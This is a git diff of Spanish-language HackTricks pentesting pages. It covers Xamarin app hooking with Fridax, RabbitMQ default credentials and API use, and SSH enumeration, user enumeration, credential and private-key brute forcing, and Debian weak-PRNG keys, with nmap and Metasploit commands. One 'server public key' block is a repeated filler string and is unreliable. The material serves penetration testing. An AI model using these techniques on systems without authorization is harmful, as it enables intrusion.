A partir de la captura de pantalla anterior que muestra la lista de archivos DLL presentes en el APK, podemos confirmar que se trata de una aplicación Xamarin. Contiene archivos DLL específicos de la aplicación junto con los archivos de biblioteca necesarios para que la aplicación se ejecute, como `Xamarin.Essentails.dll` o `Mono.Security.dll`.
@ -89,7 +89,7 @@ Finalmente, puedes utilizar [**estas herramientas recomendadas**](../reversing/r
## Análisis Dinámico
Intenta verificar si la aplicación tiene algún tipo de SSL pinning implementado. Si no es así, utilizando Burp como un sistema, CA debería funcionar para interceptar las solicitudes. **Frida con tiempo de ejecución de Java u ObjC no funcionará** aquí, pero afortunadamente hay una herramienta disponible que se puede utilizar para engancharse a los métodos.
Intenta verificar si la aplicación tiene algún tipo de SSL pinning implementado. Si no es así, utilizando Burp como un sistema, CA debería funcionar para interceptar las solicitudes. **Frida con tiempo de ejecución Java o ObjC no funcionará** aquí, pero afortunadamente hay una herramienta disponible que se puede utilizar para engancharse a los métodos.
[**Fridax**](https://github.com/NorthwaveSecurity/fridax) te permite **modificar fácilmente el binario .NET dentro de una aplicación Xamarin en tiempo de ejecución**. El análisis estático te ayudará a identificar los diferentes métodos presentes en la aplicación, que luego se pueden enganchar para el análisis dinámico utilizando Fridax. A continuación se muestran algunos scripts de Frida que pueden ayudarnos a eludir la detección de root o SSL pinning:

View File

@ -6,29 +6,29 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡estamos contratando! (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
## Información básica
Puedes aprender más sobre RabbitMQ en [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\
En este puerto puedes encontrar la consola web de gestión de RabbitMQ si el [plugin de gestión](https://www.rabbitmq.com/management.html) está habilitado.\
Puedes obtener más información sobre RabbitMQ en [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\
En este puerto puedes encontrar la consola web de administración de RabbitMQ si el [plugin de administración](https://www.rabbitmq.com/management.html) está habilitado.\
La página principal debería verse así:
![](<../.gitbook/assets/image (270).png>)
## Enumeración
Las credenciales predeterminadas son "_**guest**_":"_**guest**_". Si no funcionan, puedes intentar [**atacar por fuerza bruta el inicio de sesión**](../generic-methodologies-and-resources/brute-force.md#http-post-form).
Las credenciales predeterminadas son "_**guest**_":"_**guest**_". Si no funcionan, puedes intentar [**forzar el inicio de sesión**](../generic-methodologies-and-resources/brute-force.md#http-post-form).
Para iniciar manualmente este módulo, debes ejecutar:
```
@ -41,7 +41,7 @@ Una vez que te hayas autenticado correctamente, verás la consola de administrac
Además, si tienes credenciales válidas, puede resultarte interesante la información de `http://localhost:15672/api/connections`
También ten en cuenta que es posible **publicar datos dentro de una cola** utilizando la API de este servicio con una solicitud como:
Ten en cuenta también que es posible **publicar datos dentro de una cola** utilizando la API de este servicio con una solicitud como:
```bash
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
@ -56,7 +56,9 @@ Content-Length: 267
* `port:15672 http`
Si estás interesado en una carrera de **hacker** y quieres hackear lo que parece imposible, ¡estamos contratando! (se requiere fluidez en polaco, tanto hablado como escrito).
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -64,10 +66,10 @@ Si estás interesado en una carrera de **hacker** y quieres hackear lo que parec
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una empresa de **ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -7,14 +7,14 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -28,78 +28,79 @@ Si estás interesado en una **carrera de hacking** y en hackear lo imposible -
```
**Servidores SSH:**
* [openSSH](http://www.openssh.org) SSH de OpenBSD, incluido en distribuciones BSD, Linux y Windows desde Windows 10.
* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) Implementación de SSH para entornos con pocos recursos de memoria y procesador, incluido en OpenWrt.
* [PuTTY](https://www.chiark.greenend.org.uk/\~sgtatham/putty/) Implementación de SSH para Windows, el cliente es comúnmente utilizado pero el uso del servidor es más raro.
* [CopSSH](https://www.itefix.net/copssh) Implementación de OpenSSH para Windows.
* [openSSH](http://www.openssh.org) - SSH de OpenBSD, incluido en distribuciones BSD, Linux y Windows desde Windows 10.
* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) - Implementación de SSH para entornos con pocos recursos de memoria y procesador, incluido en OpenWrt.
* [PuTTY](https://www.chiark.greenend.org.uk/\~sgtatham/putty/) - Implementación de SSH para Windows, el cliente se utiliza comúnmente pero el uso del servidor es menos frecuente.
* [CopSSH](https://www.itefix.net/copssh) - Implementación de OpenSSH para Windows.
**Librerías SSH (implementando servidor):**
**Bibliotecas SSH (implementando el lado del servidor):**
* [libssh](https://www.libssh.org) Librería multiplataforma en C que implementa el protocolo SSHv2 con bindings en [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) y [R](https://github.com/ropensci/ssh); es utilizada por KDE para sftp y por GitHub para la infraestructura de git SSH.
* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) Librería de servidor SSHv2 escrita en ANSI C y enfocada en entornos embebidos, RTOS y con recursos limitados.
* [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) La librería de Java Apache SSHD está basada en Apache MINA.
* [paramiko](https://github.com/paramiko/paramiko) Librería de protocolo SSHv2 en Python.
* [libssh](https://www.libssh.org) - Biblioteca C multiplataforma que implementa el protocolo SSHv2 con enlaces en [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) y [R](https://github.com/ropensci/ssh); es utilizada por KDE para sftp y por GitHub para la infraestructura de SSH de git.
* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) - Biblioteca de servidor SSHv2 escrita en ANSI C y dirigida a entornos integrados, RTOS y con recursos limitados.
* [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) - La biblioteca de Java Apache SSHD se basa en Apache MINA.
* [paramiko](https://github.com/paramiko/paramiko) - Biblioteca de protocolo SSHv2 para Python.
## Enumeración
### Banner Grabbing
### Obtención de banners
```bash
nc -vn <IP> 22
```
### Auditoría automatizada de ssh
### Auditoría automatizada de ssh-audit
ssh-audit es una herramienta para la auditoría de configuración de servidores y clientes ssh.
ssh-audit es una herramienta para auditar la configuración del servidor y cliente ssh.
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) es un fork actualizado de [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
**Características:**
* Soporte para servidores SSH1 y SSH2;
* analiza la configuración del cliente SSH;
* obtiene el banner, reconoce el dispositivo o software y el sistema operativo, detecta la compresión;
* recopila algoritmos de intercambio de claves, claves de host, cifrado y código de autenticación de mensajes;
* información de algoritmos de salida (disponibles desde, eliminados/desactivados, inseguros/débiles/antiguos, etc.);
* recomendaciones de algoritmos de salida (añadir o eliminar en función de la versión de software reconocida);
* información de seguridad de salida (problemas relacionados, lista de CVE asignados, etc.);
* analiza la compatibilidad de la versión SSH en función de la información del algoritmo;
* información histórica de OpenSSH, Dropbear SSH y libssh;
* se ejecuta en Linux y Windows;
* sin dependencias.
* Analiza la configuración del cliente SSH;
* Obtiene el banner, reconoce el dispositivo o software y el sistema operativo, detecta la compresión;
* Recopila algoritmos de intercambio de claves, claves de host, cifrado y códigos de autenticación de mensajes;
* Muestra información sobre los algoritmos (disponibles desde, eliminados/desactivados, inseguros/débiles/obsoletos, etc.);
* Ofrece recomendaciones sobre los algoritmos (añadir o eliminar según la versión del software reconocido);
* Muestra información de seguridad (problemas relacionados, lista de CVE asignados, etc.);
* Analiza la compatibilidad de la versión de SSH en función de la información del algoritmo;
* Proporciona información histórica de OpenSSH, Dropbear SSH y libssh;
* Funciona en Linux y Windows;
* No tiene dependencias.
```bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
```
### Clave pública SSH del servidor
Para conectarse a un servidor SSH, es necesario tener la clave pública del servidor. Esta clave se puede obtener de varias maneras, como por ejemplo, a través de la página web del proveedor de servicios o mediante una solicitud al administrador del servidor. Una vez que se tiene la clave pública, se puede utilizar para conectarse al servidor de forma segura.
```plaintext
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6
```bash
ssh-keyscan -t rsa <IP> -p <PORT>
```
### Algoritmos de cifrado débiles
Esto se descubre por defecto con **nmap**. Pero también se puede usar **sslcan** o **sslyze**.
Esto se descubre de forma predeterminada con **nmap**. Pero también puedes usar **sslscan** o **sslyze**.
### Scripts de Nmap
```bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
```
@ -111,15 +112,15 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
### Enumeración de nombres de usuario
En algunas versiones de OpenSSH se puede realizar un ataque de tiempo para enumerar usuarios. Puede utilizar un módulo de Metasploit para explotar esto:
En algunas versiones de OpenSSH, puedes realizar un ataque de tiempo para enumerar usuarios. Puedes utilizar un módulo de Metasploit para explotar esto:
```
msf> use scanner/ssh/ssh_enumusers
```
### [Fuerza bruta](../generic-methodologies-and-resources/brute-force.md#ssh)
Algunas credenciales comunes de ssh se encuentran [aquí](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) y [aquí](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) y a continuación.
Algunas credenciales comunes de ssh [aquí](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) y [aquí](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) y a continuación.
### Fuerza bruta de clave privada
### Fuerza Bruta de Clave Privada
Si conoces algunas claves privadas de ssh que podrían ser utilizadas... vamos a intentarlo. Puedes usar el script de nmap:
```
@ -129,71 +130,72 @@ O el módulo auxiliar de MSF:
```
msf> use scanner/ssh/ssh_identify_pubkeys
```
O puedes usar `ssh-keybrute.py` (nativo de python3, ligero y con algoritmos heredados habilitados): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
O utiliza `ssh-keybrute.py` (python3 nativo, ligero y con algoritmos heredados habilitados): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### Se pueden encontrar claves malas conocidas aquí:
#### Aquí se pueden encontrar claves malas conocidas:
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
#### Claves SSH débiles / PRNG predecible de Debian
Algunos sistemas tienen fallas conocidas en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves dramáticamente reducido que puede ser atacado por fuerza bruta. Los conjuntos de claves pregenerados generados en sistemas Debian afectados por PRNG débil están disponibles aquí: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Algunos sistemas tienen fallos conocidos en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves dramáticamente reducido que puede ser objeto de fuerza bruta. Conjuntos de claves pregeneradas generadas en sistemas Debian afectados por PRNG débil están disponibles aquí: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Deberías buscar aquí para buscar claves válidas para la máquina víctima.
### Kerberos
**crackmapexec** usando el protocolo `ssh` puede usar la opción `--kerberos` para **autenticar a través de kerberos**.\
